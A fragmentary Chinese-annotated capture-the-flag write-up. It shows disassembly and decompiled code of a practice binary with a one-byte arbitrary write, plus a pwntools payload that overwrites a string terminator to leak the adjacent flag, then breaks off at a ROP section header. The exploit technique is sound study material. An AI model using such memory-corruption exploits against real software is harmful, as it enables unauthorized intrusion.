.rodata:080486E0 byte_80486E0 db 30h ; DATA XREF: main+85↑o .rodata:080486E1 db 4Fh ; O .rodata:080486E2 db 30h ; 0 .rodata:080486E3 db 6Fh ; o .rodata:080486E4 db 0 .rodata:080486E5 db 4Fh .rodata:080486E6 db 30h ; 0
-0000000000000060 var_60 dq 11 dup(?) ;输入 -0000000000000008 db ? ; undefined -0000000000000007 db ? ; undefined -0000000000000006 db ? ; undefined -0000000000000005 db ? ; undefined -0000000000000004 var_4 dd ? ;循环数 +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?) +0000000000000010 +0000000000000010 ; end of stack variables
Code
.text:0000000000400789 gift proc near .text:0000000000400789 ; __unwind { .text:0000000000400789 push rbp .text:000000000040078A mov rbp, rsp .text:000000000040078D jmp rsp .text:000000000040078D gift endp
v6 = __readfsqword(0x28u); v4 = 0LL; *(_QWORD *)fd = open("./flag", 0, envp); setbuf(stdout, 0LL); read(fd[0], &flag, 0x1EuLL); puts("Firstly....What's your name?"); __isoc99_scanf("%32s", &name); puts("The thing that could change the world might be a Byte!"); puts("Take tne only one shot!"); __isoc99_scanf("%d", &v4); *v4 = 1; ################## 任意写1字节 puts("A success?"); printf("Goodbye,%s", &name); return0; }
Code
mov edi, offset aD ; "%d" mov eax, 0 call ___isoc99_scanf mov rax, [rbp+var_18] mov byte ptr [rax], 1 ; 任意写一字节 mov edi, offset aASuccess ; "A success?" call _puts mov esi, offset name mov edi, offset format ; "Goodbye,%s"
查看bss段发现
Code
.bss:00000000006010C0 name db ? ; ; DATA XREF: main+6C↑o .bss:00000000006010C0 ; main+BB↑o .bss:00000000006010C1 db ? ; .bss:00000000006010C2 db ? ; ... .bss:00000000006010DE db ? ; .bss:00000000006010DF db ? ; .bss:00000000006010E0 public flag .bss:00000000006010E0 flag db ? ; ; DATA XREF: main+56↑o .bss:00000000006010E1 db ? ; .bss:00000000006010E2 db ? ; ...
payload = 'a'*32 add=6295776 p.recvuntil('Firstly....What\'s your name?') p.sendline(payload) p.recvuntil('Take tne only one shot!') p.sendline(str(add))
p.interactive()
ROP_LEVEL0
c
int __cdecl main(int argc, constchar **argv, constchar **envp) { int v3; // eax char buf; // [rsp+0h] [rbp-50h] int v6; // [rsp+38h] [rbp-18h] int fd[2]; // [rsp+48h] [rbp-8h]